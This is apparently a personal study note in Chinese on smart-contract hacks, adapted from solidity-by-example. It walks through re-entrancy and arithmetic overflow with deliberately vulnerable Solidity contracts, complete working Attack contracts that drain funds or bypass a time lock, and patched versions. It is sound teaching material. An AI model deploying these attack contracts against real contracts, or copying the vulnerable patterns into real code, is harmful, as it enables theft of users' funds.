• 2025.1.19: 0x01~0x02

Hacks

0x01 Re-Entrancy(重入攻击)

demo学习

  1. 部署 EtherStore 合约
  2. 账号1 Alice 和帐号2 Bob 各自存入 1 Ether 到 EtherStore
  3. 用EtherStore的地址部署Attack合约
  4. 攻击者Eve调用Attack.attack,往 EtherStore 存 1 ether后取出,那么他将拿回来 3 ether。

攻击者可以在 EtherStore.withdraw 完成执行之前,多次调用 EtherStore.withdraw。
函数调用过程见下面注释

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
EtherStore is a contract where you can deposit and withdraw ETH.
This contract is vulnerable to re-entrancy attack.
Let's see why.

1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
   You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
   plus 1 Ether sent from this contract).

What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.

Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable { // 【2】存 1 ether
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender]; // 【4】取余额,并检查必须大于0
        require(bal > 0);

		// 【5】这里call一个不存在的函数,将触发调用者Attack合约里的fallback函数
		// 传过去的值为所有余额,也就是会把所有余额取出
        (bool sent,) = msg.sender.call{value: bal}(""); 
        // 【8】因为这里call会等待Attack的fallback函数执行结束再往下走,所以这里会递归执行withdraw
        // 而因为没有执行下面的清空操作 balances[msg.sender] = 0,所以上面的require检查是会通过的,再次转钱!
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    //【6】当EtherStore 把 1 ether发回到这个合约的时候(也就是攻击者收1 ether)就会调用fallback函数
    fallback() external payable { 
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw(); // 【7】只要EtherStore合约里还有余额就再次调用withdraw
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}(); // 【1】 攻击者存 1 ether
        etherStore.withdraw(); // 【3】 攻击者取 1 ether
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

再看一下用 call 和 fallback 来转账

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

		// 这是在以太坊上发送 ETH 的低级调用方法
		// `msg.sender` 是接收 ETH 的地址
		// `{value: bal}` 指定要发送的 ETH 数量
		// `("")` 表示这是一个没有调用任何函数的纯转账
		// 这个调用会返回两个值:(bool, bytes memory),第一个值表示调用是否成功(true/false)
        (bool sent,) = msg.sender.call{value: bal}(""); 
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

那么怎样写才是正确的呢?

  • 确保状态更改在合约交互之前
  • 用 function modifiers 来防重入攻击
    • modifier 关键字用于声明修饰器。
    • modifierName 是修饰器的名称。
    • parameters 是可选的参数列表。
    • _ 是一个特殊的占位符,表示函数的代码将在该位置执行。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

试着patch一下上面的合约

contract EtherStore {
	bool internal locked;
    mapping(address => uint256) public balances;

	modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public noReentrant{ // [patch 2]加上 function modifiers 来防重入攻击
        uint256 bal = balances[msg.sender];
        require(bal > 0);

		balances[msg.sender] = 0; // [patch 1]把state变量的修改放到合约交互前
		
        (bool sent,) = msg.sender.call{value: bal}(""); 
        
        require(sent, "Failed to send Ether");
        
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Real World Example:DAO

https://github.com/demining/Dao-Exploit
https://www.addesp.com/archives/186

0x02 Arithmetic Overflow and Underflow

Default behaviour of Solidity 0.8 for overflow / underflow is to throw an error.
0.8版本及以后自动检测并抛出错误,但是之前的版本需要注意。

TimeLock 合约是让人存进去之后一周内不能取款,而且提供了一个函数可以让用户增加这个“锁钱”的时间。而如果攻击成功的话,攻击者可以立即取钱。具体过程见注释

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for at least a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
   withdraw your ether.

What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

	// [1] 存钱,并将lockTime[msg.sender]加 1 week
    function deposit() external payable { 
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

	// [2] 增加lock time
    function increaseLockTime(uint256 _secondsToIncrease) public { 
        lockTime[msg.sender] += _secondsToIncrease;
    }

	// [3] 取钱,取之前有两个检查:1)余额大于0;2)当前时间要在lock time之后
    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

// [4] 所以,如果想立即取钱,就需要让lock time (lockTime[msg.sender])尽可能提前,最好是0

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}(); // [5] 存钱
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0 // 无符号整型 overflow
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        // [6] 想法子让lock time设置为当前时间,那么再下一步取钱的时候,那个时候就会在lock time后面了
        // 而法子具体见上面的注释,调用increaseLockTime就会发生计算:0 - locktime + locktime = 0
        // 最后把lockTime[msg.sender] 设置为0
        timeLock.increaseLockTime(
            type(uint256).max + 1 - timeLock.lockTime(address(this))
        );
        // [7] 取钱的时候就能直接取
        timeLock.withdraw();
    }
}

怎么理解:timeLock.lockTime(address(this)?
是在访问 TimeLock 合约中的 public mapping,因为这个映射是 public 的,Solidity 自动为它生成了一个同名的 getter 函数。这个 getter 函数可以通过传入地址来查询对应的锁定时间。

patch则是使用数学库或者自己加上检查,比如之前入门demo里那样,在加完之后assert一下

Real-World Example: PoWHC and Batch Transfer Overflow (CVE-2018–10299)

  • https://medium.com/@ebanisadr/how-800k-evaporated-from-the-powh-coin-ponzi-scheme-overnight-1b025c33b530
  • https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
  • https://peckshield.medium.com/alert-new-batchoverflow-bug-in-multiple-erc20-smart-contracts-cve-2018-10299-511067db6536

0x03 Self Destruct

0x04 Accessing Private Data

0x05 Delegatecall

0x06 Source of Randomness

0x07 Denial of Service

0x08 Phishing with tx.origin

0x09 Hiding Malicious Code with External Contract

0x0A Honeypot

0x0B Front Running

0x0C Block Timestamp Manipulation

0x0D Signature Replay

0x0E Bypass Contract Size Check

0x0F Deploy Different Contracts at the Same Address

0x10 Vault Inflation

0x11 WETH Permit

参考文献

  • https://solidity-by-example.org/hacks/re-entrancy/
  • https://github.com/demining/Dao-Exploit